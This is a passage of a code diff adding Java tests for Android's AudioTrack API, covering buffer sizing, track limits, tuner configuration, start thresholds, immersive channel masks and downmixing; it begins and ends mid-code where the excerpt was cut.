+                        playbackParams.getSpeed() * (newTimeMs - timeMs) * TEST_SR / 1000;
+                timeMs = newTimeMs;
+                playbackParams.setPitch(playbackParams.getPitch() + pitchInc);
+                playbackParams.setSpeed(playbackParams.getSpeed() + speedInc);
+            }
+            final int endPosition = track.getPlaybackHeadPosition();
+            final int tolerance100MsInFrames = 100 * TEST_SR / 1000;
+            Log.d(TAG, "Total playback time: " + (timeMs - startTimeMs));
+            assertEquals(TAG, anticipatedPosition, endPosition, tolerance100MsInFrames);
+            track.stop();
+
+            Thread.sleep(100 /* millis */); // distinct pause between each test
+        }
+        track.release();
+    }
+
+    // Test AudioTrack to ensure we can build after a failure.
+    @Test
+    public void testAudioTrackBufferSize() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testAudioTrackBufferSize";
+
+        // use builder with parameters that should fail
+        final int superBigBufferSize = 1 << 28;
+        try {
+            final AudioTrack track = new AudioTrack.Builder()
+                .setBufferSizeInBytes(superBigBufferSize)
+                .build();
+            track.release();
+            fail(TEST_NAME + ": should throw exception on failure");
+        } catch (UnsupportedOperationException e) {
+            ;
+        }
+
+        // we should be able to create again with minimum buffer size
+        final int verySmallBufferSize = 2 * 3 * 4; // frame size multiples
+        final AudioTrack track2 = new AudioTrack.Builder()
+                .setBufferSizeInBytes(verySmallBufferSize)
+                .build();
+
+        final int observedState2 = track2.getState();
+        final int observedBufferSize2 = track2.getBufferSizeInFrames();
+        track2.release();
+
+        // succeeds for minimum buffer size
+        assertEquals(TEST_NAME + ": state", AudioTrack.STATE_INITIALIZED, observedState2);
+        // should force the minimum size buffer which is > 0
+        assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
+    }
+
+    // Test AudioTrack to see if there are any problems with large frame counts.
+    @Test
+    public void testAudioTrackLargeFrameCount() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testAudioTrackLargeFrameCount";
+        final int[] BUFFER_SIZES = { 4294968, 42949680, 429496800, Integer.MAX_VALUE };
+        final int[] MODES = { AudioTrack.MODE_STATIC, AudioTrack.MODE_STREAM };
+
+        for (int mode : MODES) {
+            for (int bufferSizeInBytes : BUFFER_SIZES) {
+                try {
+                    final AudioTrack track = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+                            .setSampleRate(44100)
+                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                            .build())
+                        .setTransferMode(mode)
+                        .setBufferSizeInBytes(bufferSizeInBytes) // 1 byte == 1 frame
+                        .build();
+                    track.release(); // OK to successfully complete
+                } catch (UnsupportedOperationException e) {
+                    ; // OK to throw unsupported exception
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testSetNullPresentation() throws Exception {
+        final AudioTrack track = new AudioTrack.Builder().build();
+        assertThrows(IllegalArgumentException.class, () -> {
+            track.setPresentation(null);
+        });
+    }
+
+    @Test
+    public void testAc3BuilderNoBufferSize() throws Exception {
+        AudioFormat format = new AudioFormat.Builder()
+            .setEncoding(AudioFormat.ENCODING_AC3)
+            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+            .setSampleRate(48000)
+            .build();
+        try {
+            AudioTrack audioTrack = new AudioTrack.Builder()
+                .setAudioFormat(format)
+                .setBufferSizeInBytes(100)
+                .build();
+            audioTrack.release();
+            Thread.sleep(200);
+        } catch (UnsupportedOperationException e) {
+            // Do nothing. It's OK for a device to not support ac3 audio tracks.
+            return;
+        }
+        // if ac3 audio tracks with set buffer size succeed, the builder should also succeed if the
+        // buffer size isn't set, allowing the framework to report the recommended buffer size.
+        try {
+            AudioTrack audioTrack = new AudioTrack.Builder()
+                .setAudioFormat(format)
+                .build();
+            audioTrack.release();
+        } catch (UnsupportedOperationException e) {
+            // This builder should not fail as the first builder succeeded when setting buffer size
+            fail("UnsupportedOperationException should not be thrown when setBufferSizeInBytes"
+                  + " is excluded from builder");
+        }
+    }
+
+    @Test
+    public void testSetPresentationDefaultTrack() throws Exception {
+        final AudioTrack track = new AudioTrack.Builder().build();
+        assertEquals(AudioTrack.ERROR, track.setPresentation(createAudioPresentation()));
+    }
+
+    @Test
+    public void testIsDirectPlaybackSupported() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testIsDirectPlaybackSupported";
+        // Default format leaves everything unspecified
+        assertFalse(AudioTrack.isDirectPlaybackSupported(
+                        new AudioFormat.Builder().build(),
+                        new AudioAttributes.Builder().build()));
+        // There is no requirement to support direct playback for this format,
+        // so it's not possible to assert on the result, but at least the method
+        // must execute with no exceptions.
+        boolean isPcmStereo48kSupported = AudioTrack.isDirectPlaybackSupported(
+                new AudioFormat.Builder()
+                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                .setSampleRate(48000)
+                .build(),
+                new AudioAttributes.Builder().build());
+        log(TEST_NAME, "PCM Stereo 48 kHz: " + isPcmStereo48kSupported);
+    }
+
+    @Test
+    public void testMediaMetrics() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        AudioTrack track = null;
+        try {
+            final int TEST_SAMPLE_RATE = 44100;
+            final int TEST_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
+            final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+            final AudioFormat format = new AudioFormat.Builder()
+                .setSampleRate(TEST_SAMPLE_RATE)
+                .setChannelMask(TEST_CHANNEL_MASK)
+                .setEncoding(TEST_ENCODING)
+                .build();
+
+            final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
+            final int TEST_CONTENT_TYPE = AudioAttributes.CONTENT_TYPE_MUSIC;
+            final AudioAttributes attributes = new AudioAttributes.Builder()
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT_TYPE)
+                .build();
+
+            // Setup a new audio track
+            track = new AudioTrack.Builder()
+                .setAudioFormat(format)
+                .setAudioAttributes(attributes)
+                .build();
+
+            final PersistableBundle metrics = track.getMetrics();
+            assertNotNull("null metrics", metrics);
+
+            // The STREAMTYPE constant was generally not present in P, and if so
+            // was incorrectly exposed as an integer.
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.STREAMTYPE,
+                    new String("AUDIO_STREAM_MUSIC"));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.CONTENTTYPE,
+                    new String("AUDIO_CONTENT_TYPE_MUSIC"));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.USAGE,
+                    new String("AUDIO_USAGE_MEDIA"));
+
+            // AudioTrack.MetricsConstants.SAMPLERATE, metrics doesn't exit
+            // AudioTrack.MetricsConstants.CHANNELMASK, metrics doesn't exist
+
+            // TestApi:
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.SAMPLE_RATE,
+                    new Integer(track.getSampleRate()));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.CHANNEL_MASK,
+                    new Long(TEST_CHANNEL_MASK >> 2));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.ENCODING,
+                    new String("AUDIO_FORMAT_PCM_16_BIT"));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioTrack.MetricsConstants.FRAME_COUNT,
+                    new Integer(track.getBufferSizeInFrames()));
+
+            // TestApi: no particular value checking.
+            AudioHelper.assertMetricsKey(metrics, AudioTrack.MetricsConstants.PORT_ID);
+            AudioHelper.assertMetricsKey(metrics, AudioTrack.MetricsConstants.ATTRIBUTES);
+        } finally {
+            if (track != null) {
+                track.release();
+            }
+        }
+    }
+
+    @Test
+    public void testMaxAudioTracks() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        // The framework must not give more than MAX_TRACKS tracks per UID.
+        final int MAX_TRACKS = 512; // an arbitrary large number > 40
+        final int FRAMES = 1024;
+
+        final AudioTrack[] tracks = new AudioTrack[MAX_TRACKS];
+        final AudioTrack.Builder builder = new AudioTrack.Builder()
+            .setAudioFormat(new AudioFormat.Builder()
+                .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+                .setSampleRate(8000)
+                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                .build())
+            .setBufferSizeInBytes(FRAMES)
+            .setTransferMode(AudioTrack.MODE_STATIC);
+
+        int n = 0;
+        try {
+            for (; n < MAX_TRACKS; ++n) {
+                tracks[n] = builder.build();
+            }
+        } catch (UnsupportedOperationException e) {
+            ; // we expect this when we hit the uid track limit.
+        }
+
+        // release all the tracks created.
+        for (int i = 0; i < n; ++i) {
+            tracks[i].release();
+            tracks[i] = null;
+        }
+        Log.d(TAG, "" + n + " tracks were created");
+        assertTrue("should be able to create at least one static track", n > 0);
+        assertTrue("was able to create " + MAX_TRACKS + " tracks - that's too many!",
+            n < MAX_TRACKS);
+    }
+
+    @Test
+    public void testTunerConfiguration() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> {
+                final AudioTrack.TunerConfiguration badConfig =
+                    new AudioTrack.TunerConfiguration(-1 /* contentId */, 1 /* syncId */);
+            });
+
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> {
+                final AudioTrack.TunerConfiguration badConfig =
+                    new AudioTrack.TunerConfiguration(1 /* contentId*/, 0 /* syncId */);
+            });
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> {
+                final AudioTrack track = new AudioTrack.Builder()
+                    .setEncapsulationMode(-1)
+                    .build();
+                track.release();
+            });
+
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> {
+                final AudioTrack track = new AudioTrack.Builder()
+                    .setTunerConfiguration(null)
+                    .build();
+                track.release();
+            });
+
+        // this should work.
+        int[][] contentSyncPairs = {
+            {1, 2},
+            {AudioTrack.TunerConfiguration.CONTENT_ID_NONE, 42},
+        };
+        for (int[] pair : contentSyncPairs) {
+            final int contentId = pair[0];
+            final int syncId = pair[1];
+            final AudioTrack.TunerConfiguration tunerConfiguration =
+                    new AudioTrack.TunerConfiguration(contentId, syncId);
+
+            assertEquals("contentId must be set", contentId, tunerConfiguration.getContentId());
+            assertEquals("syncId must be set", syncId, tunerConfiguration.getSyncId());
+
+            // this may fail on creation, not in any setters.
+            AudioTrack track = null;
+            try {
+                track = new AudioTrack.Builder()
+                        .setEncapsulationMode(AudioTrack.ENCAPSULATION_MODE_NONE)
+                        .setTunerConfiguration(tunerConfiguration)
+                        .build();
+            } catch (UnsupportedOperationException e) {
+                ; // creation failure is OK as TunerConfiguration requires HW support,
+                // however other exception failures are not OK.
+            } finally {
+                if (track != null) {
+                    track.release();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testCodecFormatChangedListener() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final AudioTrack audioTrack = new AudioTrack.Builder().build();
+
+        assertThrows(
+            NullPointerException.class,
+            () -> { audioTrack.addOnCodecFormatChangedListener(
+                    null /* executor */, null /* listener */); });
+
+        assertThrows(
+            NullPointerException.class,
+            () -> { audioTrack.removeOnCodecFormatChangedListener(null /* listener */); });
+
+
+        final AudioTrack.OnCodecFormatChangedListener listener =
+            (AudioTrack track, AudioMetadataReadMap readMap) -> {};
+
+        // add a synchronous executor.
+        audioTrack.addOnCodecFormatChangedListener(new Executor() {
+                @Override
+                public void execute(Runnable r) {
+                    r.run();
+                }
+            }, listener);
+        audioTrack.removeOnCodecFormatChangedListener(listener);
+        audioTrack.release();
+    }
+
+    @Test
+    public void testDualMonoMode() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final AudioTrack audioTrack = new AudioTrack.Builder().build();
+
+        // Note that the output device may not support Dual Mono mode.
+        // The following path should always succeed.
+        audioTrack.setDualMonoMode(AudioTrack.DUAL_MONO_MODE_OFF);
+        assertEquals(AudioTrack.DUAL_MONO_MODE_OFF, audioTrack.getDualMonoMode());
+
+        // throws IAE on invalid argument.
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> { audioTrack.setDualMonoMode(-1); }
+        );
+
+        // check behavior after release.
+        audioTrack.release();
+        assertThrows(
+            IllegalStateException.class,
+            () -> { audioTrack.setDualMonoMode(AudioTrack.DUAL_MONO_MODE_OFF); }
+        );
+        assertEquals(AudioTrack.DUAL_MONO_MODE_OFF, audioTrack.getDualMonoMode());
+    }
+
+    @Test
+    public void testAudioDescriptionMixLevel() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final AudioTrack audioTrack = new AudioTrack.Builder().build();
+
+        // Note that the output device may not support Audio Description Mix Level.
+        // The following path should always succeed.
+        audioTrack.setAudioDescriptionMixLeveldB(Float.NEGATIVE_INFINITY);
+        assertEquals(Float.NEGATIVE_INFINITY,
+                audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
+
+        // throws IAE on invalid argument.
+        assertThrows(
+            IllegalArgumentException.class,
+            () -> { audioTrack.setAudioDescriptionMixLeveldB(1e6f); }
+        );
+
+        // check behavior after release.
+        audioTrack.release();
+        assertThrows(
+            IllegalStateException.class,
+            () -> { audioTrack.setAudioDescriptionMixLeveldB(0.f); }
+        );
+        assertEquals(Float.NEGATIVE_INFINITY,
+            audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
+    }
+
+    @Test
+    public void testSetLogSessionId() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioTrack audioTrack = null;
+        try {
+            audioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                            .build())
+                    .build();
+            audioTrack.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
+            assertEquals(LogSessionId.LOG_SESSION_ID_NONE, audioTrack.getLogSessionId());
+
+            final String ARBITRARY_MAGIC = "0123456789abcdef"; // 16 char Base64Url.
+            audioTrack.setLogSessionId(new LogSessionId(ARBITRARY_MAGIC));
+            assertEquals(new LogSessionId(ARBITRARY_MAGIC), audioTrack.getLogSessionId());
+
+            final MediaMetricsManager mediaMetricsManager =
+                    getContext().getSystemService(MediaMetricsManager.class);
+            final PlaybackSession playbackSession = mediaMetricsManager.createPlaybackSession();
+            audioTrack.setLogSessionId(playbackSession.getSessionId());
+            assertEquals(playbackSession.getSessionId(), audioTrack.getLogSessionId());
+
+            // write some data to generate a log entry.
+            short data[] = new short[audioTrack.getSampleRate() / 2];
+            audioTrack.play();
+            audioTrack.write(data, 0 /* offsetInShorts */, data.length);
+            audioTrack.stop();
+            Thread.sleep(500 /* millis */); // drain
+
+            // Also can check the mediametrics dumpsys to validate logs generated.
+        } finally {
+            if (audioTrack != null) {
+                audioTrack.release();
+            }
+        }
+    }
+
+    /*
+     * The following helpers and tests are used to test setting
+     * and getting the start threshold in frames.
+     *
+     * See Android CDD 5.6 [C-1-2] Cold output latency
+     */
+    private static final int START_THRESHOLD_SLEEP_MILLIS = 500;
+
+    /**
+     * Helper test that validates setting the start threshold.
+     *
+     * @param track
+     * @param startThresholdInFrames
+     * @throws Exception
+     */
+    private static void validateSetStartThresholdInFrames(
+            AudioTrack track, int startThresholdInFrames) throws Exception {
+        assertEquals(startThresholdInFrames,
+                track.setStartThresholdInFrames(startThresholdInFrames));
+        assertEquals(startThresholdInFrames,
+                track.getStartThresholdInFrames());
+    }
+
+    /**
+     * Helper that tests that the head position eventually equals expectedFrames.
+     *
+     * Exponential backoff to ~ 2 x START_THRESHOLD_SLEEP_MILLIS
+     *
+     * @param track
+     * @param expectedFrames
+     * @param message
+     * @throws Exception
+     */
+    private static void validatePlaybackHeadPosition(
+            AudioTrack track, int expectedFrames, String message) throws Exception {
+        int cumulativeMillis = 0;
+        int playbackHeadPosition = 0;
+        for (double testMillis = START_THRESHOLD_SLEEP_MILLIS * 0.125;
+             testMillis <= START_THRESHOLD_SLEEP_MILLIS;  // this is exact for IEEE binary double
+             testMillis *= 2.) {
+            Thread.sleep((int)testMillis);
+            playbackHeadPosition = track.getPlaybackHeadPosition();
+            if (playbackHeadPosition == expectedFrames) return;
+            cumulativeMillis += (int)testMillis;
+        }
+        fail(message + ": expected track playbackHeadPosition: " + expectedFrames
+                + " actual playbackHeadPosition: " + playbackHeadPosition
+                + " wait time: " + cumulativeMillis + "ms");
+    }
+
+    /**
+     * Helper test that sets the start threshold to frames, and validates
+     * writing exactly frames amount of data is needed to start the
+     * track streaming.
+     *
+     * @param track
+     * @param frames
+     * @throws Exception
+     */
+    private static void validateWriteStartsStream(
+            AudioTrack track, int frames) throws Exception {
+        assertEquals(1, track.getChannelCount()); // must be MONO
+        final short[] data = new short[frames];
+
+        // The track must be idle/underrun or the test will fail.
+        int expectedFrames = track.getPlaybackHeadPosition();
+
+        // Set our threshold to frames.
+        validateSetStartThresholdInFrames(track, frames);
+
+        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
+        assertEquals("Changing start threshold doesn't start if it is larger than buffer data",
+                expectedFrames, track.getPlaybackHeadPosition());
+
+        // Write a small amount of data, this isn't enough to start the track.
+        final int PARTIAL_WRITE_IN_FRAMES = frames - 1;
+        track.write(data, 0 /* offsetInShorts */, PARTIAL_WRITE_IN_FRAMES);
+
+        // Ensure the track hasn't started.
+        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
+        assertEquals("Track needs enough frames to start",
+                expectedFrames, track.getPlaybackHeadPosition());
+
+        // Write exactly threshold frames out, this should kick the playback off.
+        track.write(data, 0 /* offsetInShorts */, data.length - PARTIAL_WRITE_IN_FRAMES);
+
+        // Verify that we have processed the data now.
+        expectedFrames += frames;
+        Thread.sleep(frames * 1000L / track.getSampleRate());  // accommodate for #frames.
+        validatePlaybackHeadPosition(track, expectedFrames,
+                "Writing buffer data to start threshold should start streaming");
+    }
+
+    /**
+     * Helper that tests reducing the start threshold to frames will start track
+     * streaming when frames of data are written to it.  (Presumes the
+     * previous start threshold was greater than frames).
+     *
+     * @param track
+     * @param frames
+     * @throws Exception
+     */
+    private static void validateSetStartThresholdStartsStream(
+            AudioTrack track, int frames) throws Exception {
+        assertTrue(track.getStartThresholdInFrames() > frames);
+        assertEquals(1, track.getChannelCount()); // must be MONO
+        final short[] data = new short[frames];
+
+        // The track must be idle/underrun or the test will fail.
+        int expectedFrames = track.getPlaybackHeadPosition();
+
+        // This write is too small for now.
+        track.write(data, 0 /* offsetInShorts */, data.length);
+
+        Thread.sleep(START_THRESHOLD_SLEEP_MILLIS);
+        assertEquals("Track needs enough frames to start",
+                expectedFrames, track.getPlaybackHeadPosition());
+
+        // Reduce our start threshold.  This should start streaming.
+        validateSetStartThresholdInFrames(track, frames);
+
+        // Verify that we have processed the data now.
+        expectedFrames += frames;
+        Thread.sleep(frames * 1000L / track.getSampleRate());  // accommodate for #frames.
+        validatePlaybackHeadPosition(track, expectedFrames,
+                "Changing start threshold to buffer data level should start streaming");
+    }
+
+    // Start threshold levels that we check.
+    private enum ThresholdLevel { LOW, MEDIUM, HIGH };
+    @Test
+    public void testStartThresholdInFrames() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        for (ThresholdLevel level : new ThresholdLevel[] {
+                ThresholdLevel.LOW, ThresholdLevel.MEDIUM, ThresholdLevel.HIGH}) {
+            AudioTrack audioTrack = null;
+            try {
+                // Build our audiotrack
+                audioTrack = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                                .build())
+                        .build();
+
+                // Initially the start threshold must be the same as the buffer size in frames.
+                final int bufferSizeInFrames = audioTrack.getBufferSizeInFrames();
+                assertEquals("At start, getBufferSizeInFrames should equal getStartThresholdInFrames",
+                        bufferSizeInFrames,
+                        audioTrack.getStartThresholdInFrames());
+
+                final int TARGET_THRESHOLD_IN_FRAMES;  // threshold level to verify
+                switch (level) {
+                    default:
+                    case LOW:
+                        TARGET_THRESHOLD_IN_FRAMES = 2;
+                        break;
+                    case MEDIUM:
+                        TARGET_THRESHOLD_IN_FRAMES = bufferSizeInFrames / 2;
+                        break;
+                    case HIGH:
+                        TARGET_THRESHOLD_IN_FRAMES = bufferSizeInFrames - 1;
+                        break;
+                }
+
+                // Skip extreme cases that don't need testing.
+                if (TARGET_THRESHOLD_IN_FRAMES < 2
+                        || TARGET_THRESHOLD_IN_FRAMES >= bufferSizeInFrames) continue;
+
+                // Start the AudioTrack. Now the track is waiting for data.
+                audioTrack.play();
+
+                validateWriteStartsStream(audioTrack, TARGET_THRESHOLD_IN_FRAMES);
+
+                // Try a condition that requires buffers to be filled again.
+                if (false) {
+                    // Only a deep underrun when the track becomes inactive requires a refill.
+                    // Disabled as this is dependent on underlying MixerThread timeouts.
+                    Thread.sleep(5000 /* millis */);
+                } else {
+                    // Flushing will require a refill (this does not require timing).
+                    audioTrack.pause();
+                    audioTrack.flush();
+                    audioTrack.play();
+                }
+
+                // Check that reducing to a smaller threshold will start the track streaming.
+                validateSetStartThresholdStartsStream(audioTrack, TARGET_THRESHOLD_IN_FRAMES - 1);
+            } finally {
+                if (audioTrack != null) {
+                    audioTrack.release();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testStartThresholdInFramesExceptions() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioTrack audioTrack = null;
+        try {
+            // Build our audiotrack
+            audioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                            .build())
+                    .build();
+
+            // Test setting invalid start threshold.
+            final AudioTrack track = audioTrack; // make final for lambda
+            assertThrows(IllegalArgumentException.class, () -> {
+                track.setStartThresholdInFrames(-1 /* startThresholdInFrames */);
+            });
+        } finally {
+            if (audioTrack != null) {
+                audioTrack.release();
+            }
+        }
+        // If we're here audioTrack should be non-null but released,
+        // so calls should return an IllegalStateException.
+        final AudioTrack track = audioTrack; // make final for lambda
+        assertThrows(IllegalStateException.class, () -> {
+            track.getStartThresholdInFrames();
+        });
+        assertThrows(IllegalStateException.class, () -> {
+            track.setStartThresholdInFrames(1 /* setStartThresholdInFrames */);
+        });
+    }
+
+    /**
+     * Tests height channel masks and higher channel counts
+     * used in immersive AudioTrack streaming.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testImmersiveStreaming() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final String TEST_NAME = "testImmersiveStreaming";
+        final int TEST_FORMAT_ARRAY[] = {
+            AudioFormat.ENCODING_PCM_16BIT,
+            AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+            48000,  // do not set too high - costly in memory.
+        };
+        final int TEST_CONF_ARRAY[] = {
+            AudioFormat.CHANNEL_OUT_5POINT1POINT2, // 8 ch (includes height channels vs 7.1).
+            AudioFormat.CHANNEL_OUT_7POINT1POINT2, // 10ch
+            AudioFormat.CHANNEL_OUT_7POINT1POINT4, // 12 ch
+            AudioFormat.CHANNEL_OUT_9POINT1POINT4, // 14 ch
+            AudioFormat.CHANNEL_OUT_9POINT1POINT6, // 16 ch
+            AudioFormat.CHANNEL_OUT_22POINT2,      // 24 ch
+        };
+
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = false;
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // Note: frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    if (AudioFormat.channelCountFromOutChannelMask(TEST_CONF)
+                            > AudioSystem.OUT_CHANNEL_COUNT_MAX) {
+                        continue; // Skip if the channel count exceeds framework capabilities.
+                    }
+                    playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                            TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
+                            WAIT_MSEC, 0 /* mask */);
+                    frequency += 50; // increment test tone frequency
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testImmersiveChannelIndex() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final String TEST_NAME = "testImmersiveChannelIndex";
+        final int TEST_FORMAT_ARRAY[] = {
+                AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+                48000,  // do not set too high - costly in memory.
+        };
+        final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
+        final int TEST_CONF_ARRAY[] = {
+                MAX_CHANNEL_BIT,      // likely silent - no physical device on top channel.
+                MAX_CHANNEL_BIT | 1,  // first channel will likely have physical device.
+                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
+        };
+        final int TEST_WRITE_MODE_ARRAY[] = {
+                AudioTrack.WRITE_BLOCKING,
+                AudioTrack.WRITE_NON_BLOCKING,
+        };
+        final double TEST_SWEEP = 0;
+        final int TEST_TRANSFER_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        double frequency = 200; // frequency changes for each test
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+                    for (int useDirect = 0; useDirect < 2; ++useDirect) {
+                        for (int TEST_CONF : TEST_CONF_ARRAY) {
+                            // put TEST_CONF in the inner loop to avoid
+                            // back-to-back creation of large tracks.
+                            playOnceStreamByteBuffer(
+                                    TEST_NAME, frequency, TEST_SWEEP,
+                                    TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                                    TEST_TRANSFER_MODE, TEST_WRITE_MODE,
+                                    true /* useChannelIndex */, useDirect != 0);
+                            frequency += 30; // increment test tone frequency
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Verifies downmixer works with different AudioTrack surround channel masks.
+     *
+     * Also a listening test: on a stereo output device, you should hear sine wave tones
+     * instead of silence if the downmixer is working.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDownmix() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final String TEST_NAME = "testDownmix";
+        final int TEST_FORMAT_ARRAY[] = {
+            // AudioFormat.ENCODING_PCM_8BIT,  // sounds a bit tinny
+            AudioFormat.ENCODING_PCM_16BIT,
+            AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+            48000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+            // This test will play back FRONT_WIDE_LEFT, then FRONT_WIDE_RIGHT.
+            AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+            AudioFormat.CHANNEL_OUT_FRONT_WIDE_LEFT | AudioFormat.CHANNEL_OUT_FRONT_WIDE_RIGHT,
+        };
+
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = false;
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // Note: frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    // Remove the front left and front right channels.
+                    int signalMask = TEST_CONF & ~(AudioFormat.CHANNEL_OUT_FRONT_LEFT
+                            | AudioFormat.CHANNEL_OUT_FRONT_RIGHT);
+                    // Play all the "surround channels" in the mask individually
+                    // at different frequencies.
+                    while (signalMask != 0) {
+                        final int lowbit = signalMask & -signalMask;
+                        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR,
+                                TEST_CONF, WAIT_MSEC, lowbit);
+                        signalMask -= lowbit;
+                        frequency += 50; // increment test tone frequency
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Ensure AudioTrack.getMinBufferSize invalid arguments return BAD_VALUE instead
+     * of throwing exception.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testInvalidMinBufferSize() throws Exception {
+        int TEST_SAMPLE_RATE = 24000;
+        int TEST_CHANNEL_CONFIGURATION = AudioFormat.CHANNEL_OUT_STEREO;
+        int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+
+        for (int i = 1; i < 8; ++i) {
+            int minBuffSize = AudioTrack.getMinBufferSize(
+                    (i & 1) != 0 ? 0 : TEST_SAMPLE_RATE,
+                    (i & 2) != 0 ? AudioFormat.CHANNEL_INVALID : TEST_CHANNEL_CONFIGURATION,
+                    (i & 4) != 0 ? AudioFormat.ENCODING_INVALID :TEST_ENCODING);
+            assertEquals("Invalid configuration " + i + " should return ERROR_BAD_VALUE",
+                    AudioTrack.ERROR_BAD_VALUE, minBuffSize);
+        }
+    }
+
+    /**
+     * Test AudioTrack Builder error handling.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testAudioTrackBuilderError() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
